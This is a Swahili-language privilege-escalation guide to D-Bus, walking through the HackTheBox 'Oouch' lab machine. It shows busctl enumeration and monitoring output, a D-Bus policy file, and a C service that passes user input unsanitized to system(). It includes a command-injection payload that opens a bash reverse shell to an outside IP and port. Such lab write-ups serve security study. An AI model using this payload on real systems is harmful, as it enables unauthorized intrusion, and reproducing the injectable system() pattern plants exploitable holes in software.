D-Bus inatumika kama mjumbe wa mawasiliano kati ya michakato (IPC) katika mazingira ya desktop ya Ubuntu. Katika Ubuntu, uendeshaji wa pamoja wa mabasi kadhaa ya ujumbe unashuhudiwa: basi la mfumo, ambalo linatumika hasa na huduma zenye mamlaka kutoa huduma zinazohusiana katika mfumo mzima, na basi la kikao kwa kila mtumiaji aliyeingia, likitoa huduma zinazohusiana tu na mtumiaji huyo maalum. Mwelekeo hapa ni hasa kwenye basi la mfumo kutokana na uhusiano wake na huduma zinazotumia mamlaka ya juu (mfano, root) kwani lengo letu ni kuinua mamlaka. Inabainika kwamba usanifu wa D-Bus unatumia 'router' kwa kila basi la kikao, ambayo inawajibika kwa kuelekeza ujumbe wa wateja kwa huduma zinazofaa kulingana na anwani iliyotolewa na wateja kwa huduma wanayotaka kuwasiliana nayo.
Huduma kwenye D-Bus zin defined na vitu na mifumo wanayotoa. Vitu vinaweza kulinganishwa na mifano ya darasa katika lugha za OOP za kawaida, ambapo kila mfano unatambulika kwa kipekee na njia ya kitu. Njia hii, kama njia ya mfumo wa faili, inatambulisha kipekee kila kitu kinachotolewa na huduma. Msingi muhimu wa utafiti ni org.freedesktop.DBus.Introspectable interface, yenye njia moja, Introspect. Njia hii inarudisha uwakilishi wa XML wa njia zinazoungwa mkono za kitu, ishara, na mali, huku ikizingatia hapa njia huku ikiacha mali na ishara.
Kwa mawasiliano na kiolesura cha D-Bus, zana mbili zilitumika: zana ya CLI inayoitwa gdbus kwa urahisi wa kuitisha njia zinazotolewa na D-Bus katika scripts, na D-Feet, zana ya GUI inayotumia Python iliyoundwa kuorodhesha huduma zinazopatikana kwenye kila basi na kuonyesha vitu vilivyomo ndani ya kila huduma.
Katika picha ya kwanza, huduma zilizoorodheshwa na mfumo wa D-Bus zinaonyeshwa, huku org.debin.apt ikisisitizwa hasa baada ya kuchagua kitufe cha System Bus. D-Feet inachunguza huduma hii kwa vitu, ikionyesha interfaces, methods, properties, na signals za vitu vilivyochaguliwa, kama inavyoonekana katika picha ya pili. Saini ya kila method pia imeelezwa kwa undani.
Kipengele muhimu ni kuonyeshwa kwa process ID (pid) na command line ya huduma, ambayo ni muhimu kuthibitisha ikiwa huduma inafanya kazi na haki za juu, muhimu kwa umuhimu wa utafiti.
D-Feet pia inaruhusu mwito wa method: watumiaji wanaweza kuingiza maelekezo ya Python kama vigezo, ambayo D-Feet inabadilisha kuwa aina za D-Bus kabla ya kupitisha kwa huduma.
Hata hivyo, kumbuka kwamba method zingine zinahitaji uthibitisho kabla ya kuturuhusu kuzitumia. Tutazipuuza method hizi, kwani lengo letu ni kuongeza haki zetu bila hati za kuingia kwanza.
Pia kumbuka kwamba baadhi ya huduma zinachunguza huduma nyingine ya D-Bus inayoitwa org.freedeskto.PolicyKit1 ikiwa mtumiaji anapaswa kuruhusiwa kufanya vitendo fulani au la.
Cmd line Enumeration
Orodha ya Vitu vya Huduma
Inawezekana kuorodhesha interfaces za D-Bus zilizofunguliwa kwa:
From wikipedia: Wakati mchakato unapoanzisha muunganisho na basi, basi inatoa muunganisho jina maalum la basi linaloitwa jina la muunganisho la kipekee. Majina ya basi ya aina hii hayabadiliki—imehakikishwa hayatabadilika kadri muunganisho unavyokuwepo—na, muhimu zaidi, hayawezi kutumika tena wakati wa maisha ya basi. Hii inamaanisha kwamba hakuna muunganisho mwingine kwa basi hiyo utapata jina kama hilo la muunganisho wa kipekee, hata kama mchakato huo huo unafunga muunganisho na kuunda mpya. Majina ya muunganisho wa kipekee yanaweza kutambulika kwa urahisi kwa sababu yananza na tabia ya koloni—ambayo kwa kawaida inakatazwa.
Service Object Info
Kisha, unaweza kupata taarifa fulani kuhusu kiolesura kwa:
busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
Orodha ya Mifumo ya Kihuduma
Unahitaji kuwa na ruhusa za kutosha.
busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
Introspect Interface of a Service Object
Kumbuka jinsi katika mfano huu ilichaguliwa interface ya hivi punde iliyogunduliwa kwa kutumia parameter ya tree (ona sehemu iliyopita):
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
Note njia .Block ya interface htb.oouch.Block (ile ambayo tunavutiwa nayo). "s" ya safu nyingine inaweza kumaanisha kwamba inatarajia string.
Monitor/Capture Interface
Kwa ruhusa za kutosha (tu send_destination na receive_sender ruhusa hazitoshi) unaweza kuchunguza mawasiliano ya D-Bus.
Ikiwa unajua jinsi ya kuunda faili ya usanidi ya D-Bus ili kuruhusu watumiaji wasiokuwa root kunusa mawasiliano tafadhali wasiliana nami!
Njia tofauti za kuchunguza:
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
Katika mfano ufuatao, kiolesura htb.oouch.Block kinachunguzwa na ujumbe "lalalalal" unatumwa kupitia mawasiliano mabaya:
busctlmonitorhtb.oouch.BlockMonitoringbusmessagestream.‣Type=method_callEndian=lFlags=0Version=1Priority=0Cookie=2Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=BlockUniqueName=:1.1376MESSAGE"s"{STRING"lalalalal";};‣Type=method_returnEndian=lFlags=1Version=1Priority=0Cookie=16ReplyCookie=2Sender=:1.3 Destination=:1.1376UniqueName=:1.3MESSAGE"s"{STRING"Carried out :D";};
You can use capture instead of monitor to save the results in a pcap file.
Filtering all the noise
Ikiwa kuna taarifa nyingi sana kwenye basi, pitisha sheria ya mechi kama ifuatavyo:
Kama mtumiaji qtc ndani ya mwenyeji "oouch" kutoka HTB unaweza kupata faili ya usanidi ya D-Bus isiyotarajiwa iliyoko /etc/dbus-1/system.d/htb.oouch.Block.conf:
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- --><!DOCTYPE busconfig PUBLIC"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN""http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"><busconfig><policyuser="root"><allowown="htb.oouch.Block"/></policy><policyuser="www-data"><allowsend_destination="htb.oouch.Block"/><allowreceive_sender="htb.oouch.Block"/></policy></busconfig>
Kumbuka kutoka kwenye usanidi wa awali kwamba utahitaji kuwa mtumiaji root au www-data ili kutuma na kupokea taarifa kupitia mawasiliano haya ya D-BUS.
Kama mtumiaji qtc ndani ya kontena la docker aeb4525789d8 unaweza kupata baadhi ya msimbo unaohusiana na dbus katika faili /code/oouch/routes.py. Huu ndio msimbo wa kuvutia:
Kama unavyoona, inafanya kuungana na kiolesura cha D-Bus na kutuma kwa "Block" function "client_ip".
Katika upande mwingine wa muunganisho wa D-Bus kuna binary iliyokamilishwa kwa C inayoendesha. Hii code inafanya kusikiliza katika muunganisho wa D-Bus kwa anwani ya IP na inaita iptables kupitia system function kuzuia anwani ya IP iliyotolewa.
Kuitwa kwa system kuna hatari kwa makusudi kwa ajili ya kuingilia amri, hivyo payload kama ifuatavyo itaunda shell ya kurudi: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Fanya hivyo
Mwisho wa ukurasa huu unaweza kupata kodi kamili ya C ya programu ya D-Bus. Ndani yake unaweza kupata kati ya mistari 91-97 jinsi ya D-Bus object pathna interface namezinavyosajiliwa. Taarifa hii itakuwa muhimu kutuma taarifa kwa muunganisho wa D-Bus:
/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);
Pia, katika mstari wa 57 unaweza kupata kwamba njia pekee iliyosajiliwa kwa mawasiliano haya ya D-Bus inaitwa Block(Ndio maana katika sehemu inayofuata payloads zitatumwa kwa kitu cha huduma htb.oouch.Block, kiolesura /htb/oouch/Block na jina la njia Block):
Mfuatano wa msimbo wa python utatuma mzigo kwa muunganisho wa D-Bus kwa njia ya Block method kupitia block_iface.Block(runme) (kumbuka kwamba ilitolewa kutoka sehemu ya awali ya msimbo):
dbus-send ni chombo kinachotumika kutuma ujumbe kwa “Message Bus”
Message Bus – Programu inayotumiwa na mifumo kuwezesha mawasiliano kati ya programu kwa urahisi. Inahusiana na Message Queue (ujumbe umewekwa kwa mpangilio) lakini katika Message Bus ujumbe unatumwa kwa mfano wa usajili na pia ni wa haraka sana.
“-system” lebo inatumika kutaja kwamba ni ujumbe wa mfumo, si ujumbe wa kikao (kwa chaguo-msingi).
“–print-reply” lebo inatumika kuchapisha ujumbe wetu ipasavyo na kupokea majibu yoyote kwa muundo unaoweza kusomeka na binadamu.
“–dest=Dbus-Interface-Block” Anwani ya kiolesura cha Dbus.
“–string:” – Aina ya ujumbe tunayotaka kutuma kwa kiolesura. Kuna mifumo kadhaa ya kutuma ujumbe kama vile double, bytes, booleans, int, objpath. Kati ya hizi, “object path” ni muhimu tunapotaka kutuma njia ya faili kwa kiolesura cha Dbus. Tunaweza kutumia faili maalum (FIFO) katika kesi hii kupitisha amri kwa kiolesura kwa jina la faili. “string:;” – Hii ni kuitisha tena njia ya kitu ambapo tunaweka faili/amri ya FIFO reverse shell.
Kumbuka kwamba katika htb.oouch.Block.Block, sehemu ya kwanza (htb.oouch.Block) inarejelea kitu cha huduma na sehemu ya mwisho (.Block) inarejelea jina la mbinu.
C code
d-bus_server.c
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r;/* Read the parameters */r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r;}char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1;}sprintf(command_buffer, command, host);/* In the first implementation, we simply ran command using system(), since the expected DBus* to be threading automatically. However, DBus does not thread and the application will hang* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real* multithreading)*/int pid =fork();if ( pid ==0 ) {/* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0);} else {/* Here we are in the parent process or an error occured. We simply send a genric message.* In the first implementation we returned separate error messages for success or failure.* However, now we cannot wait for results of the system call. Therefore we simply return* a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D");}r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) {/** Main method, registeres the htb.oouch.Block service on the system dbus.** Paramaters:* argc (int) Number of arguments, not required* argv[] (char**) Argument array, not required** Returns:* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive* as long as the user keeps it alive.*//* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN);sd_bus_slot *slot =NULL;sd_bus *bus =NULL;int r;/* First we need to connect to the system bus. */r =sd_bus_open_system(&bus);if (r <0){fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish;}/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish;}/* Register the service name to find out object */r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish;}/* Infinite loop to process the client requests */for (;;) {/* Process requests */r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish;}if (r >0) /* we processed a request, try to process another one, right-away */continue;/* Wait for the next request to process */r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish;}}finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}
